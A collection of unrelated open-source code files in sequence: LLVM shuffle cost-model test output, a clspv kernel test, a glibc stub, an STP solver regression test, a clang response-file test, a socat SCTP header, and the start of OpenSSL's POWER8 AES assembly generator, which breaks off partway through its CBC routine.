; AVX2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512F-LABEL: 'test_vXi8'
; AVX512F-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512F-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512F-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512F-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512BW-LABEL: 'test_vXi8'
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512VBMI-LABEL: 'test_vXi8'
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; BTVER2-LABEL: 'test_vXi8'
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 8 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
%V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
%V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
%V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
ret void
}
|
{
"language": "Assembly"
}
|
// RUN: clspv %s -o %t.spv
// RUN: spirv-dis -o %t2.spvasm %t.spv
// RUN: FileCheck %s < %t2.spvasm
// RUN: spirv-val --target-env vulkan1.0 %t.spv
// CHECK: %[[EXT_INST:[a-zA-Z0-9_]*]] = OpExtInstImport "GLSL.std.450"
// CHECK-DAG: %[[FLOAT_TYPE_ID:[a-zA-Z0-9_]*]] = OpTypeFloat 32
// CHECK: %[[LOADB_ID:[a-zA-Z0-9_]*]] = OpLoad %[[FLOAT_TYPE_ID]]
// CHECK: %[[OP_ID:[a-zA-Z0-9_]*]] = OpExtInst %[[FLOAT_TYPE_ID]] %[[EXT_INST]] Log2 %[[LOADB_ID]]
// CHECK: OpStore {{.*}} %[[OP_ID]]
void kernel __attribute__((reqd_work_group_size(1, 1, 1))) foo(global float* a, global float* b)
{
*a = half_log2(*b);
}
|
{
"language": "Assembly"
}
|
/* Copyright (C) 2002, 2003, 2007 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <drepper@redhat.com>, 2002.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307 USA. */
#include "lowlevellock.S"
|
{
"language": "Assembly"
}
|
% RUN: %solver %s | %OutputCheck %s
%% Regression level = 3
%% Result = InValid
%% Language = presentation
n: BITVECTOR(32);
c: BITVECTOR(8);
%----------------------------------------------------
ASSERT BVLT(n,0bin00000000000000000000000000010000);
ASSERT NOT ((0bin000000000000000000000000 @ c)
= 0bin00000000000000000000000011111110);
ASSERT BVLT(n,0bin00000000000000000000000000001100);
ASSERT NOT (n = 0bin00000000000000000000000000000000);
ASSERT NOT (BVPLUS(32, n, BVUMINUS(0bin00000000000000000000000000000001))
= 0bin00000000000000000000000000000000);
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT (BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT (BVPLUS(32, BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT (BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT (BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT (BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT (BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
ASSERT (LET cvcl_0 = BVUMINUS(0bin00000000000000000000000000000001)
IN NOT NOT (BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, BVPLUS(32, n, cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0),
cvcl_0) =
0bin00000000000000000000000000000000));
%----------------------------------------------------
% CHECK: ^[Ii]nvalid
QUERY FALSE;
COUNTEREXAMPLE;
|
{
"language": "Assembly"
}
|
// RUN: %clang --rsp-quoting=windows -E %s @%s.args -o %t.log
// RUN: FileCheck --input-file=%t.log %s
// CHECK: bar1
// CHECK-NEXT: bar2 zed2
// CHECK-NEXT: bar3 zed3
// CHECK-NEXT: bar4 zed4
// CHECK-NEXT: bar5 zed5
// CHECK-NEXT: 'bar6 zed6'
// CHECK-NEXT: 'bar7 zed7'
// CHECK-NEXT: foo8bar8zed8
// CHECK-NEXT: foo9\'bar9\'zed9
// CHECK-NEXT: foo10"bar10"zed10
// CHECK: bar
// CHECK: zed12
// CHECK: one\two
// CHECK: c:\foo\bar.c
foo1
foo2
foo3
foo4
foo5
foo6
foo7
foo8
foo9
foo10
#ifdef foo11
bar
#endif
foo12
foo13
foo14
|
{
"language": "Assembly"
}
|
/* source: xio-sctp.h */
/* Copyright Gerhard Rieger 2008 */
/* Published under the GNU General Public License V.2, see file COPYING */
#ifndef __xio_sctp_h_included
#define __xio_sctp_h_included 1
extern const struct addrdesc addr_sctp_connect;
extern const struct addrdesc addr_sctp_listen;
extern const struct addrdesc addr_sctp4_connect;
extern const struct addrdesc addr_sctp4_listen;
extern const struct addrdesc addr_sctp6_connect;
extern const struct addrdesc addr_sctp6_listen;
extern const struct optdesc opt_sctp_nodelay;
extern const struct optdesc opt_sctp_maxseg;
extern const struct optdesc opt_sctp_maxseg_late;
#endif /* !defined(__xio_sctp_h_included) */
|
{
"language": "Assembly"
}
|
#! /usr/bin/env perl
# Copyright 2014-2016 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the OpenSSL license (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html
#
# ====================================================================
# Written by Andy Polyakov <appro@openssl.org> for the OpenSSL
# project. The module is, however, dual licensed under OpenSSL and
# CRYPTOGAMS licenses depending on where you obtain it. For further
# details see http://www.openssl.org/~appro/cryptogams/.
# ====================================================================
#
# This module implements support for AES instructions as per PowerISA
# specification version 2.07, first implemented by POWER8 processor.
# The module is endian-agnostic in sense that it supports both big-
# and little-endian cases. Data alignment in parallelizable modes is
# handled with VSX loads and stores, which implies MSR.VSX flag being
# set. It should also be noted that ISA specification doesn't prohibit
# alignment exceptions for these instructions on page boundaries.
# Initially alignment was handled in pure AltiVec/VMX way [when data
# is aligned programmatically, which in turn guarantees exception-
# free execution], but it turned to hamper performance when vcipher
# instructions are interleaved. It's reckoned that eventual
# misalignment penalties at page boundaries are in average lower
# than additional overhead in pure AltiVec approach.
#
# May 2016
#
# Add XTS subroutine, 9x on little- and 12x improvement on big-endian
# systems were measured.
#
######################################################################
# Current large-block performance in cycles per byte processed with
# 128-bit key (less is better).
#
# CBC en-/decrypt CTR XTS
# POWER8[le] 3.96/0.72 0.74 1.1
# POWER8[be] 3.75/0.65 0.66 1.0
$flavour = shift;
if ($flavour =~ /64/) {
$SIZE_T =8;
$LRSAVE =2*$SIZE_T;
$STU ="stdu";
$POP ="ld";
$PUSH ="std";
$UCMP ="cmpld";
$SHL ="sldi";
} elsif ($flavour =~ /32/) {
$SIZE_T =4;
$LRSAVE =$SIZE_T;
$STU ="stwu";
$POP ="lwz";
$PUSH ="stw";
$UCMP ="cmplw";
$SHL ="slwi";
} else { die "nonsense $flavour"; }
$LITTLE_ENDIAN = ($flavour=~/le$/) ? $SIZE_T : 0;
$0 =~ m/(.*[\/\\])[^\/\\]+$/; $dir=$1;
( $xlate="${dir}ppc-xlate.pl" and -f $xlate ) or
( $xlate="${dir}../../perlasm/ppc-xlate.pl" and -f $xlate) or
die "can't locate ppc-xlate.pl";
open STDOUT,"| $^X $xlate $flavour ".shift || die "can't call $xlate: $!";
$FRAME=8*$SIZE_T;
$prefix="aes_p8";
$sp="r1";
$vrsave="r12";
#########################################################################
{{{ # Key setup procedures #
my ($inp,$bits,$out,$ptr,$cnt,$rounds)=map("r$_",(3..8));
my ($zero,$in0,$in1,$key,$rcon,$mask,$tmp)=map("v$_",(0..6));
my ($stage,$outperm,$outmask,$outhead,$outtail)=map("v$_",(7..11));
$code.=<<___;
.machine "any"
.text
.align 7
rcon:
.long 0x01000000, 0x01000000, 0x01000000, 0x01000000 ?rev
.long 0x1b000000, 0x1b000000, 0x1b000000, 0x1b000000 ?rev
.long 0x0d0e0f0c, 0x0d0e0f0c, 0x0d0e0f0c, 0x0d0e0f0c ?rev
.long 0,0,0,0 ?asis
Lconsts:
mflr r0
bcl 20,31,\$+4
mflr $ptr #vvvvv "distance between . and rcon
addi $ptr,$ptr,-0x48
mtlr r0
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
.asciz "AES for PowerISA 2.07, CRYPTOGAMS by <appro\@openssl.org>"
.globl .${prefix}_set_encrypt_key
Lset_encrypt_key:
mflr r11
$PUSH r11,$LRSAVE($sp)
li $ptr,-1
${UCMP}i $inp,0
beq- Lenc_key_abort # if ($inp==0) return -1;
${UCMP}i $out,0
beq- Lenc_key_abort # if ($out==0) return -1;
li $ptr,-2
cmpwi $bits,128
blt- Lenc_key_abort
cmpwi $bits,256
bgt- Lenc_key_abort
andi. r0,$bits,0x3f
bne- Lenc_key_abort
lis r0,0xfff0
mfspr $vrsave,256
mtspr 256,r0
bl Lconsts
mtlr r11
neg r9,$inp
lvx $in0,0,$inp
addi $inp,$inp,15 # 15 is not typo
lvsr $key,0,r9 # borrow $key
li r8,0x20
cmpwi $bits,192
lvx $in1,0,$inp
le?vspltisb $mask,0x0f # borrow $mask
lvx $rcon,0,$ptr
le?vxor $key,$key,$mask # adjust for byte swap
lvx $mask,r8,$ptr
addi $ptr,$ptr,0x10
vperm $in0,$in0,$in1,$key # align [and byte swap in LE]
li $cnt,8
vxor $zero,$zero,$zero
mtctr $cnt
?lvsr $outperm,0,$out
vspltisb $outmask,-1
lvx $outhead,0,$out
?vperm $outmask,$zero,$outmask,$outperm
blt Loop128
addi $inp,$inp,8
beq L192
addi $inp,$inp,8
b L256
.align 4
Loop128:
vperm $key,$in0,$in0,$mask # rotate-n-splat
vsldoi $tmp,$zero,$in0,12 # >>32
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
vcipherlast $key,$key,$rcon
stvx $stage,0,$out
addi $out,$out,16
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vadduwm $rcon,$rcon,$rcon
vxor $in0,$in0,$key
bdnz Loop128
lvx $rcon,0,$ptr # last two round keys
vperm $key,$in0,$in0,$mask # rotate-n-splat
vsldoi $tmp,$zero,$in0,12 # >>32
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
vcipherlast $key,$key,$rcon
stvx $stage,0,$out
addi $out,$out,16
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vadduwm $rcon,$rcon,$rcon
vxor $in0,$in0,$key
vperm $key,$in0,$in0,$mask # rotate-n-splat
vsldoi $tmp,$zero,$in0,12 # >>32
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
vcipherlast $key,$key,$rcon
stvx $stage,0,$out
addi $out,$out,16
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vxor $in0,$in0,$key
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
stvx $stage,0,$out
addi $inp,$out,15 # 15 is not typo
addi $out,$out,0x50
li $rounds,10
b Ldone
.align 4
L192:
lvx $tmp,0,$inp
li $cnt,4
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
stvx $stage,0,$out
addi $out,$out,16
vperm $in1,$in1,$tmp,$key # align [and byte swap in LE]
vspltisb $key,8 # borrow $key
mtctr $cnt
vsububm $mask,$mask,$key # adjust the mask
Loop192:
vperm $key,$in1,$in1,$mask # roate-n-splat
vsldoi $tmp,$zero,$in0,12 # >>32
vcipherlast $key,$key,$rcon
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vsldoi $stage,$zero,$in1,8
vspltw $tmp,$in0,3
vxor $tmp,$tmp,$in1
vsldoi $in1,$zero,$in1,12 # >>32
vadduwm $rcon,$rcon,$rcon
vxor $in1,$in1,$tmp
vxor $in0,$in0,$key
vxor $in1,$in1,$key
vsldoi $stage,$stage,$in0,8
vperm $key,$in1,$in1,$mask # rotate-n-splat
vsldoi $tmp,$zero,$in0,12 # >>32
vperm $outtail,$stage,$stage,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
vcipherlast $key,$key,$rcon
stvx $stage,0,$out
addi $out,$out,16
vsldoi $stage,$in0,$in1,8
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vperm $outtail,$stage,$stage,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
stvx $stage,0,$out
addi $out,$out,16
vspltw $tmp,$in0,3
vxor $tmp,$tmp,$in1
vsldoi $in1,$zero,$in1,12 # >>32
vadduwm $rcon,$rcon,$rcon
vxor $in1,$in1,$tmp
vxor $in0,$in0,$key
vxor $in1,$in1,$key
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
stvx $stage,0,$out
addi $inp,$out,15 # 15 is not typo
addi $out,$out,16
bdnz Loop192
li $rounds,12
addi $out,$out,0x20
b Ldone
.align 4
L256:
lvx $tmp,0,$inp
li $cnt,7
li $rounds,14
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
stvx $stage,0,$out
addi $out,$out,16
vperm $in1,$in1,$tmp,$key # align [and byte swap in LE]
mtctr $cnt
Loop256:
vperm $key,$in1,$in1,$mask # rotate-n-splat
vsldoi $tmp,$zero,$in0,12 # >>32
vperm $outtail,$in1,$in1,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
vcipherlast $key,$key,$rcon
stvx $stage,0,$out
addi $out,$out,16
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in0,$in0,$tmp
vadduwm $rcon,$rcon,$rcon
vxor $in0,$in0,$key
vperm $outtail,$in0,$in0,$outperm # rotate
vsel $stage,$outhead,$outtail,$outmask
vmr $outhead,$outtail
stvx $stage,0,$out
addi $inp,$out,15 # 15 is not typo
addi $out,$out,16
bdz Ldone
vspltw $key,$in0,3 # just splat
vsldoi $tmp,$zero,$in1,12 # >>32
vsbox $key,$key
vxor $in1,$in1,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in1,$in1,$tmp
vsldoi $tmp,$zero,$tmp,12 # >>32
vxor $in1,$in1,$tmp
vxor $in1,$in1,$key
b Loop256
.align 4
Ldone:
lvx $in1,0,$inp # redundant in aligned case
vsel $in1,$outhead,$in1,$outmask
stvx $in1,0,$inp
li $ptr,0
mtspr 256,$vrsave
stw $rounds,0($out)
Lenc_key_abort:
mr r3,$ptr
blr
.long 0
.byte 0,12,0x14,1,0,0,3,0
.long 0
.size .${prefix}_set_encrypt_key,.-.${prefix}_set_encrypt_key
.globl .${prefix}_set_decrypt_key
$STU $sp,-$FRAME($sp)
mflr r10
$PUSH r10,$FRAME+$LRSAVE($sp)
bl Lset_encrypt_key
mtlr r10
cmpwi r3,0
bne- Ldec_key_abort
slwi $cnt,$rounds,4
subi $inp,$out,240 # first round key
srwi $rounds,$rounds,1
add $out,$inp,$cnt # last round key
mtctr $rounds
Ldeckey:
lwz r0, 0($inp)
lwz r6, 4($inp)
lwz r7, 8($inp)
lwz r8, 12($inp)
addi $inp,$inp,16
lwz r9, 0($out)
lwz r10,4($out)
lwz r11,8($out)
lwz r12,12($out)
stw r0, 0($out)
stw r6, 4($out)
stw r7, 8($out)
stw r8, 12($out)
subi $out,$out,16
stw r9, -16($inp)
stw r10,-12($inp)
stw r11,-8($inp)
stw r12,-4($inp)
bdnz Ldeckey
xor r3,r3,r3 # return value
Ldec_key_abort:
addi $sp,$sp,$FRAME
blr
.long 0
.byte 0,12,4,1,0x80,0,3,0
.long 0
.size .${prefix}_set_decrypt_key,.-.${prefix}_set_decrypt_key
___
}}}
#########################################################################
{{{ # Single block en- and decrypt procedures #
sub gen_block () {
my $dir = shift;
my $n = $dir eq "de" ? "n" : "";
my ($inp,$out,$key,$rounds,$idx)=map("r$_",(3..7));
$code.=<<___;
.globl .${prefix}_${dir}crypt
lwz $rounds,240($key)
lis r0,0xfc00
mfspr $vrsave,256
li $idx,15 # 15 is not typo
mtspr 256,r0
lvx v0,0,$inp
neg r11,$out
lvx v1,$idx,$inp
lvsl v2,0,$inp # inpperm
le?vspltisb v4,0x0f
?lvsl v3,0,r11 # outperm
le?vxor v2,v2,v4
li $idx,16
vperm v0,v0,v1,v2 # align [and byte swap in LE]
lvx v1,0,$key
?lvsl v5,0,$key # keyperm
srwi $rounds,$rounds,1
lvx v2,$idx,$key
addi $idx,$idx,16
subi $rounds,$rounds,1
?vperm v1,v1,v2,v5 # align round key
vxor v0,v0,v1
lvx v1,$idx,$key
addi $idx,$idx,16
mtctr $rounds
Loop_${dir}c:
?vperm v2,v2,v1,v5
v${n}cipher v0,v0,v2
lvx v2,$idx,$key
addi $idx,$idx,16
?vperm v1,v1,v2,v5
v${n}cipher v0,v0,v1
lvx v1,$idx,$key
addi $idx,$idx,16
bdnz Loop_${dir}c
?vperm v2,v2,v1,v5
v${n}cipher v0,v0,v2
lvx v2,$idx,$key
?vperm v1,v1,v2,v5
v${n}cipherlast v0,v0,v1
vspltisb v2,-1
vxor v1,v1,v1
li $idx,15 # 15 is not typo
?vperm v2,v1,v2,v3 # outmask
le?vxor v3,v3,v4
lvx v1,0,$out # outhead
vperm v0,v0,v0,v3 # rotate [and byte swap in LE]
vsel v1,v1,v0,v2
lvx v4,$idx,$out
stvx v1,0,$out
vsel v0,v0,v4,v2
stvx v0,$idx,$out
mtspr 256,$vrsave
blr
.long 0
.byte 0,12,0x14,0,0,0,3,0
.long 0
.size .${prefix}_${dir}crypt,.-.${prefix}_${dir}crypt
___
}
&gen_block("en");
&gen_block("de");
}}}
#########################################################################
{{{ # CBC en- and decrypt procedures #
my ($inp,$out,$len,$key,$ivp,$enc,$rounds,$idx)=map("r$_",(3..10));
my ($rndkey0,$rndkey1,$inout,$tmp)= map("v$_",(0..3));
my ($ivec,$inptail,$inpperm,$outhead,$outperm,$outmask,$keyperm)=
map("v$_",(4..10));
$code.=<<___;
.globl .${prefix}_cbc_encrypt
${UCMP}i $len,16
bltlr-
cmpwi $enc,0 # test direction
lis r0,0xffe0
mfspr $vrsave,256
mtspr 256,r0
li $idx,15
vxor $rndkey0,$rndkey0,$rndkey0
le?vspltisb $tmp,0x0f
lvx $ivec,0,$ivp # load [unaligned] iv
lvsl $inpperm,0,$ivp
lvx $inptail,$idx,$ivp
le?vxor $inpperm,$inpperm,$tmp
vperm $ivec,$ivec,$inptail,$inpperm
neg r11,$inp
